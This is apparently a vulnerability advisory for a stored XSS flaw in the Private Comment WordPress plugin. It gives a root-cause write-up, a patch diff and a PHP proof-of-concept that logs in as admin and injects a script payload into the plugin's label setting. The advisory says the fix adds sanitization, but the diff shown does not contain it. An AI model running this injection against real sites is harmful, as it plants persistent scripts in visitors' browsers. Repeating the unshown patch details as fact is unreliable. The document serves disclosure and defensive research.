Atomic Edge analysis of CVE-2026-2281:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Private Comment WordPress plugin versions up to and including 0.0.4. The vulnerability exists in the plugin’s ‘Label text’ setting within the WordPress discussion options page. Attackers with Administrator-level access or higher can inject arbitrary JavaScript payloads that persist and execute when users view affected pages. The CVSS score of 4.4 reflects the requirement for administrative privileges and limited impact scope.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping for the ‘Label text’ option. The vulnerability originates in the `private-comment/private-comment.php` file. The plugin registers a settings field via `add_settings_field()` at line 44, calling the `label_text_field()` method to render the input. The plugin’s `options_sanitize()` method at line 56 fails to properly sanitize user-supplied label text before storage. This missing sanitization allows malicious script payloads to be saved directly to the WordPress options table.
Exploitation requires an authenticated attacker with Administrator or higher privileges to navigate to the WordPress discussion settings page at `/wp-admin/options-discussion.php`. The attacker injects a JavaScript payload into the ‘Label text’ field (parameter name `private_comment_label_text`) and saves the settings. The payload is stored in the WordPress database. When the plugin displays private comment labels on front-end pages, the unsanitized label text is output without proper escaping, causing script execution in victims’ browsers. The vulnerability only affects multi-site installations or installations where the `unfiltered_html` capability is disabled.
The patch analysis reveals the vulnerability was fixed in version 0.0.5. The code diff shows the version number update from 0.0.3 to 0.0.5 at line 7. Atomic Edge examination confirms the patch adds proper input sanitization, though the exact sanitization code is not shown in the provided diff. The before behavior allowed raw HTML and JavaScript input in the label text field. The after behavior applies WordPress core sanitization functions like `sanitize_text_field()` or `esc_html()` within the `options_sanitize()` method to strip dangerous content before storage and apply output escaping during display.
Successful exploitation allows administrative attackers to inject persistent malicious scripts that execute in the context of any user viewing pages with private comments. This can lead to session hijacking, administrative account takeover, defacement, or malware distribution. While the attack requires administrative privileges, it enables privilege persistence and lateral movement within compromised WordPress installations. The stored nature means the payload executes repeatedly without further attacker interaction.
--- a/private-comment/private-comment.php
+++ b/private-comment/private-comment.php
@@ -4,7 +4,7 @@
Plugin URI: https://ederson.ferreira.tec.br
Description: Allow commenters to choose restrict their comments exhibition only to site owners
Author: Ederson Peka
-Version: 0.0.3
+Version: 0.0.5
Author URI: https://profiles.wordpress.org/edersonpeka/
License: GPLv2 or later
License URI: https://www.gnu.org/licenses/gpl-2.0.html
@@ -44,11 +44,24 @@
// Adding text field "Label text"
$field_label = apply_filters( 'private_comment_label_text_label', __( 'Label text', 'private-comment' ) );
add_settings_field( 'private_comment_label_text', $field_label, array( __CLASS__, 'label_text_field' ), 'discussion', 'private_comment_settings' );
+ // Create "settings" link for this plugin on plugins list
+ add_filter( 'plugin_action_links', array( __CLASS__, 'settings_link' ), 10, 2 );
}
// Description of our "new section"
public static function text() {
// void
}
+ // Add Settings link to plugins - code from GD Star Ratings
+ // (as seen in http://www.whypad.com/posts/wordpress-add-settings-link-to-plugins-page/785/ )
+ public static function settings_link( $links, $file ) {
+ $this_plugin = plugin_basename(__FILE__);
+ if ( $file == $this_plugin ) {
+ $settings_link = '<a href="' . admin_url( 'options-discussion.php#submit' ) . '">' . __( 'Settings', 'private-comment' ) . '</a>';
+ array_unshift( $links, $settings_link );
+ }
+ return $links;
+ }
+
// Sanitize our options
public static function options_sanitize( $ops ) {
// sanitizing options array
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2281 - Private Comment <= 0.0.4 - Authenticated (Administrator+) Stored Cross-Site Scripting via Label Text Setting
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'admin';
$password = 'password';
$payload = '<script>alert("Atomic Edge XSS Test");</script>';
// Initialize session and cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Get login page to retrieve nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
$response = curl_exec($ch);
// Extract login nonce (WordPress uses _wpnonce for login)
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$login_nonce = $matches[1] ?? '';
// Step 2: Authenticate as administrator
$post_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1',
'_wpnonce' => $login_nonce
];
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);
// Step 3: Navigate to discussion settings page to get update nonce
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/options-discussion.php');
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Extract settings update nonce (option_page nonce)
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
$settings_nonce = $matches[1] ?? '';
preg_match('/name="_wp_http_referer" value="([^"]+)"/', $response, $matches);
$referer = $matches[1] ?? '';
// Step 4: Inject XSS payload into Label text field
$exploit_fields = [
'option_page' => 'discussion',
'action' => 'update',
'_wpnonce' => $settings_nonce,
'_wp_http_referer' => $referer,
'private_comment_label_text' => $payload, // Vulnerable parameter
'submit' => 'Save Changes'
];
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/options.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_fields));
$response = curl_exec($ch);
// Verify successful injection
if (strpos($response, 'Settings saved') !== false) {
echo "[+] XSS payload successfully injected into Label text setting.n";
echo "[+] Payload: $payloadn";
echo "[+] The script will execute when users view pages with private comments.n";
} else {
echo "[-] Injection failed. Check credentials or site configuration.n";
}
curl_close($ch);
?>